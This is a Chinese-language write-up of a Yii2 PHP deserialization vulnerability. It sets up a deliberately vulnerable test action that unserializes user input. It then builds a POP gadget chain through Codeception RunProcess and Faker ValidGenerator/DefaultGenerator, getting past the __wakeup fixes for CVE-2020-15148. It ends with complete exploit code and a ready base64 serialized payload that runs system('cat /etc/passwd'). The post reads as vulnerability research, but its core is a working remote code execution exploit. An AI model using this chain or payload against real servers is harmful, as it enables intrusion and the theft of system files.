Yii反序列化漏洞
0x搭建环境
首先利用composer安装yii2框架
composer create-project yiisoft/yii2-app-basic yii2
yii2 version <= 2.0.41(GitHub最新版本)
使用docker环境启动
cd yii2
docker run -d -p 80:80 -v $(pwd):/var/www/html suanve/php:7.3-apache
访问127.0.0.1:80/web 打开首页
环境搭建成功在controllers/SiteController.php
添加代码
public function actionTest()
{
// echo base64_decode(file_get_contents("php://input"));
return unserialize(base64_decode(file_get_contents("php://input")));
}
1x destruct起点
往常大家的链子都是通过\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php
的_dataReader
开始的
但是在最新版本官方添加了__wakeup 用于阻止反序列化
/**
* Unserialization is disabled to prevent remote code execution in case application
* calls unserialize() on user input containing specially crafted string.
* @see CVE-2020-15148
* @since 2.0.38
*/
public function __wakeup()
{
throw new \BadMethodCallException('Cannot unserialize ' . __CLASS__);
}
根据魔术方法function __destruct()
我们可以找到vendor/codeception/codeception/ext/RunProcess.php
文件
这里因为$this->processes可控 所以\$process可控,下文中if判断处isRunning()可用来触发call方法,在当前文件中我们没有找到`wakeup`函数,证明这里是可以作为我们pop链的起点的。
2x call调用
以前大家都用vendor/fakerphp/faker/src/Faker/Generator.php
来调用$this->format
官方在新版本也同样添加了__wakeup()
做限制
public function __wakeup()
{
$this->formatters = [];
}
我们继续搜索call 发现vendor/fakerphp/faker/src/Faker/ValidGenerator.php
的`call方法存在两处代码执行点,且没有
__wakeup`限制
这里$this->generator,$this->validator,$this->maxRetries
三者可控
我们只需要给$this->generator
找一个call返回可控字符串的对象就可以使$res返回值可控
do循环中的if判断可以直接把maxRetries设置为很大的数跳过Exception
接着$this->validator
可控制 我们就可以执行任意命令了
3x 二重call
这里直接找到了一个Faker命名空间下的vendor/fakerphp/faker/src/Faker/DefaultGenerator.php
我们将$this->default
设置为'cat /etc/passwd' 这样vendor/fakerphp/faker/src/Faker/ValidGenerator.php
中
$this->generator为DefaultGenerator.php`
$name触发call
$arguments 无所谓的情况下
$res的结果将完全可控
$res = call_user_func_array([$this->generator, $name], $arguments);
// $res完全可控
4x exp:
<?php
namespace Faker{
class DefaultGenerator{
protected $default ;
function __construct($argv)
{
$this->default = $argv;
}
}
class ValidGenerator{
protected $generator;
protected $validator;
protected $maxRetries;
function __construct($command,$argv)
{
$this->generator = new DefaultGenerator($argv);
$this->validator = $command;
$this->maxRetries = 99999999;
}
}
}
namespace Codeception\Extension{
use Faker\ValidGenerator;
class RunProcess{
private $processes = [] ;
function __construct($command,$argv)
{
$this->processes[] = new ValidGenerator($command,$argv);
}
}
}
namespace {
use Codeception\Extension\RunProcess;
$exp = new RunProcess('system','cat /etc/passwd');
echo(base64_encode(serialize($exp)));
exit();
}
TzozMjoiQ29kZWNlcHRpb25cRXh0ZW5zaW9uXFJ1blByb2Nlc3MiOjE6e3M6NDM6IgBDb2RlY2VwdGlvblxFeHRlbnNpb25cUnVuUHJvY2VzcwBwcm9jZXNzZXMiO2E6MTp7aTowO086MjA6IkZha2VyXFZhbGlkR2VuZXJhdG9yIjozOntzOjEyOiIAKgBnZW5lcmF0b3IiO086MjI6IkZha2VyXERlZmF1bHRHZW5lcmF0b3IiOjE6e3M6MTA6IgAqAGRlZmF1bHQiO3M6MTU6ImNhdCAvZXRjL3Bhc3N3ZCI7fXM6MTI6IgAqAHZhbGlkYXRvciI7czo2OiJzeXN0ZW0iO3M6MTM6IgAqAG1heFJldHJpZXMiO2k6OTk5OTk5OTk7fX19